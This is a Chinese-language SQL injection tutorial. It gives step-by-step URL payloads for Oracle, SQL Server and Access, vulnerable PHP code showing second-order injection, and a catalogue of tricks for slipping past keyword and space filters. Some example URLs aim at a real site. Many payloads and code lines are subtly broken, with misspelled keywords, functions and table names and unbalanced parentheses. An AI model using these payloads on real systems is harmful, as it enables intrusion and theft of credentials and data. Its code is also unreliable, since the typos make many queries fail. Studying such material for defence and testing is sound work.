一、按数据库类型
1、Oracle注入
1.1.Oracle基础知识
Oracle是目前最流行的C/S或B/S体系结构的数据库之一。
数据字典:数据字典是元数据的集合,从逻辑上和物理上描述了数据库及其内容,存储于SYSTEM与SYSAUX表空间内的若干段中。
数据字典视图:数据字典中的数据比较复杂,一般查询的是数据字典视图。
数据字典视图三种不同权限的分类:分别以user,all,dba的前缀开头。
表名 | 列名 |
---|---|
user_tables:存储用户拥有表的信息 | table_name: 用户创建的表名 |
user_tab_columns:存储用户拥有的列的信息 | column_name:用户创建表中的列名 |
dual:是Oracle数据库中实际存在的表,任何用户都可读取。 | 用法:常用在Oracle注入中没有目标表的select语句块中 |
1.2.Oracle注入实例分析
Oracle注入Payload
?id=1 and 1=1/1=2 //判断注入点
?id=1 order by 3 //判断列数
?id=1 union select null,null,null from dual //判断报错点
?id=1 union select null,null,SYS_CONTEXT('USERENV','CURRENT_USER') FROM dual //获取库名
?id=1 and 1=2 union select null,null,table_name from user_tables //获取表名
?id=1 and 1=2 union select null,null,column_name from user_tab_columns //获取表中列名
?id=1 and 1=2 union select null,"username","password" from "user" //获取列中的数据库
Oracle注入过程
(1)判断注入点
输入单引号,数据库报错,说明没有对单引号过滤并且与Oracle数据库存在交互查询。
输入“and 1=1 ”,页面若返回正常
输入“and 1=2”,若页面返回不正常,则说明存在数字型
(2)判断列数
通过联合查询注入,两个结果集的列数要相同。
order by :判断表中的列数
(3)获取当前数据库的信息
查看当前用户的信息
select SYS_CONTEXT('USERENV','CURRENT_USER') FROM dual;
查看当前用户权限
select * from session_roles
查看数据库版本
select banner from sys.v_$version where rownum=1
(4)套用Payloady进行测试
2、SQL Server注入
2.1.SQL Server 目录视图
SQL Server 引入了一组目录视图作为保留系统元数据的通用接口。所有目录视图都在sys模式中。访问对象时,必须引入模式名称。
SQL Server 中包含sysdatabases,sysobjects, syscolumns三个目录视图
目录视图 | 内容 |
---|---|
sysdatabases | 包含所有数据库的名称 |
sysobjects | 保存了每个数据库内创建的所有对象,如约束,默认值,日志,规则,存储过程等 |
syscolumns | 保存列名,每个表和视图的每一列在syscolumns中占一行 |
2.2.SQL Server报错注入步骤
(1)获取当前数据库名
第一种方式:通过databases表获取
?id=1 and (select top 1 name from sys.databases)>0
//将查询结果与0比较,产生类型比较报错,得到数据库
第二种方式:使用内置函数:db_name()
?id=1 and db_name()>0
//查询到当前数据库的名称,与0比较以产生比较报错,获取数据库信息
(2)获取数据库的表名
?id=1 and 0<(select top 1 name from sec.dbo.sysobjects where xtype="U"
//从sysobjects的第一个name结果中获取了sec数据库的第一个表为xxx的信息
//xtype=X表示系统表,xtype=u表示用户表
(3)获取表中的列名
?id=1 and 0<(select top 1 name from sec.dbo.syscolumns where id=1(select id from sec.dbo.sysobjects where xtype='U' and name='eims_User') and name not in ('ItemID')
//从eims_User表中获取其id,然后从syscolumns中利用该id查询第二个列名,获取eims_User表的第二个列名
(4)获取列中的数据
?id=1 and 0<(select top 1 item1 from sec.dbo.eime=s_User)
//从eims_User表中获取item1列的数据admin
3、Access注入
3.1.Access基础知识
常见的Access数据库文件的扩展名是mdb和accdb。
Access数据库在结构上主要包括表,查询,窗体,报表,数据访问页,宏,模块。
表是数据库中用来存储数据的对象,是数据库的核心和基础。表由表结构和表内容组成。在对表进行操作时,是对表结构和表内容分别进行操作的。表结构包括表名和字段属性两部分。
Access数据库的系统表包括MSysAccessObject、MSYSAccessXML等
MSysObjects中包含了所有的数据库对象
3.2.Access爆破法注入步骤
(1)猜测数据库中的表
原理:利用 and exits(select * from TableName) 猜测是否存在TableName表。如果页面正常返回,说明存在TableName表;如果不能正常返回,说明不存在TableName表,
http://www.baidu.com/index.php/?id=1 and exits (select * from manage)
//猜测是否存在manage表,页面正常返回,说明存在manage表
(2)猜测表中的列名
原理:利用and exits (select ColumnName from TableName猜测TableName表中是否存在ColumnName列,如果页面返回正常,则存在,返回错误,说明ColumnName列不存在。
http://www.baidu.com/index.php/?id=1 and exits (select username from manage)
//猜测manage表中是否存在username列,页面正常返回,说明存在username列。
(3)判断列数
原理:access支持联合查询,可以通过联合查询获取数据。联合查询要满足列数相同的要求,所以要先通过order by 判断列数。
http://www.baidu.com/index.php/?id=1 order by 7
//判断表是否存在7列数据
(4)查看报错点
原理:与 MYSQL数据库不一样,Access数据库的查询命令必须写为select 1,2,3 from tablename,其中from 不能省略,TableName必须真实存在。
http://www.baidu.com/index.php/?id=1 and 1=2 union select 1,2,3,4,5 from manage
//查看页面的报错位置
二、其他注入方式
1、二次注入
1.1.二次注入原理
二次注入是SQL注入的一种形式,是常见的注入类型。
原理:第一次在参数中输入恶意数据的时候,由于存在addslashes等函数的过滤,会将特殊字符添加\进行转义,但是转义字符\本身并不会存入数据库。这样,在进行下一次查询时,如果没有过滤,直接从数据库中取出恶意数据并执行,就造就了SQL注入。
1.2.二次注入漏洞利用过程
注册代码:
$username=addslashes($_POST['username']);
$password=addslashes($_post['password']);
$email=addslashes($_POST['email']);
$sql="INSERT INTO ‘users’ ('username','password','emails') values ('$usernamee','$password','$email')";
$row=mysql_query($sql);
在代码注册中,通过addslashes函数将用户名,密码,邮箱进行了特殊字符转义,所以无需通过注册功能进行SQL注入
找回代码:
$email=addslashes($_POST['email']);
$sql="select * from users where email=$email";
$row = msyql_query($sql);
if($row){
$row=mysql_fetch_array($row);
$username=$rows['username'];
$sqlpass="select * from useers where useername='$username'";
}
找回密码时,用户输入邮箱信息,从数据库中获取邮箱对应的用户名,从数据库中通过查询获取的用户名没有经过过滤,然后将用户名信息拼接到SQL语句中查询,就形成了二次注入漏洞。
三、SQL绕过注入
1、空格过滤绕过
漏洞代码:
if (preg_match('/ /',$_GET['id']):
die("ERROR") //通过preg_match对GET型参数进行过滤,存在空格则返回ERROR
绕过方法:
(1)/**/ 绕过
MySQL数据库中可以用/**/(注释符)来代替空格,将空格用注释符代替后,SQL语句可以正常运行。
?id=1'select/**/1,2,table_name/**/from/**/users;
(2)制表符绕过
MySQL数据库中,可以用制表符代替空格,SQL语句可以正常运行,制表符是不可见字符,在URL传输中需要编码,URL值为%09
?id=1%09and%091=2%09union%09select%091,2,databases();
(3)换行符绕过
MySQL支持换行执行SQL语句,可以利用换行代替空格,换行符是不可见字符,URL编码为%0a。
?id=1%0aand%0a1=2%0aunion%0aselect%0a1,2,databases();
(4)括号绕过
MySQL中任何语句都可以使用括号嵌套SQL语句,因此可以使用括号绕过空格的过滤。
?id=1'union(select)username(from)user;
MySQL特性:
where id=1=1:对前面的所有结果与1,查询的结果与原来的一样
where id=1=0:对前面所有结果与0,查询的结果为出去原有查询结果的其他数据
根据上述特性,构造括号payload,就可以进行bool注入,获得数据库的信息。
测试语句:
http://www.xxx.com/?id=1=(ascii(mid(database() from (1) for (1)))=99)
2、内联注释绕过
原理:MySQL会执行/! ··· /中的语句。
/! 50010···/也会执行位于其中的SQL语句,50010表示5.00.10为MySQL版本号,当MySQL的实际版本号大于内联注释中的版本号时,就会执行内联注释中的代码,可以利用该特性绕过特殊字符过滤
http://www.xxx.com/?id=1 and 1=2 /*!union*//*!select*/1,2,group_concat(table_name) /*!from*/information_schema.tables where table_schema='databases()'
3、大小写绕过
漏洞代码:
if (preg_match('/select'/,$_GET['id']): //存在select关键字,则返回die的结果
die("error")
原理:由于没有对select大小写的各种情况进行判断,导致的大小写混写的方式绕过过滤。
4、双写关键字绕过
漏洞代码:
if(isset($_GET['id'])){
$id=preg_replace('/select/','',$_GET['id']);
$sql="SELECT * from admin where id=$id LIMIT 0,1;
$result=mysql_query($sql);
}
原理:preg_replace没有对select关键字进行多次过滤,导致存在多写绕过漏洞。
5、编码绕过
漏洞代码:
if (preg_match('/select/'i,$_GET['id'])){
die("ERROR")
}else{
$id=$_GET['id'];
$sql="SELECT * FROM admin WHERE id=$id LIMIT 0,1";
}
原理:preg_match对参数进行了过滤,并且对大小写进行了判断,如果存在select关键词,则结束运行。
绕过方法:
(1)双重URL编码绕过
http://www.xxx.com/?id=1 and 1=2 union select se%256ect 1,2,database()
将select进行双重编码绕过了select关键字过滤
(2)十六进制编码绕过
原理:mysql对十六进制的数据进行自动转换,如果PHP中开启了GPC,会自动对单引号进行转义,导致注入无法正常使用,可以将注入的数据转换为十六进制,则不需要单引号,可以正常注入。
(3)Unicode编码绕过
原理:IIS中间件可以识别Unicode字符,当URL中存在Unicode字符时,IIS中间件会自动转换。
(4)ASCII编码绕过
原理:SQL server的char函数可以将字符转换为ASCII码,这样也可以绕过单引号转义的情况
6、等价函数字符替换绕过
(1)用like,in 代替 =
原理:在MySQL中,可以用like或者in代替=进行查询,利用此特性绕过对=的查询
漏洞代码:
if (preg_match('/=/',$_GET['id'])){
die("ERROR")
}
(2)逗号过滤
select substr(database(),1,1);
select substr(database() from 1 for 1);
(3)等价函数
可以用以下等价函数代替来绕过过滤:
sleep函数可以用benckmark函数代替
ASCII函数可以用hex,bin函数代替
group_concat函数可以用concat_ws函数代替
updatexml函数可以用extractvalue函数代替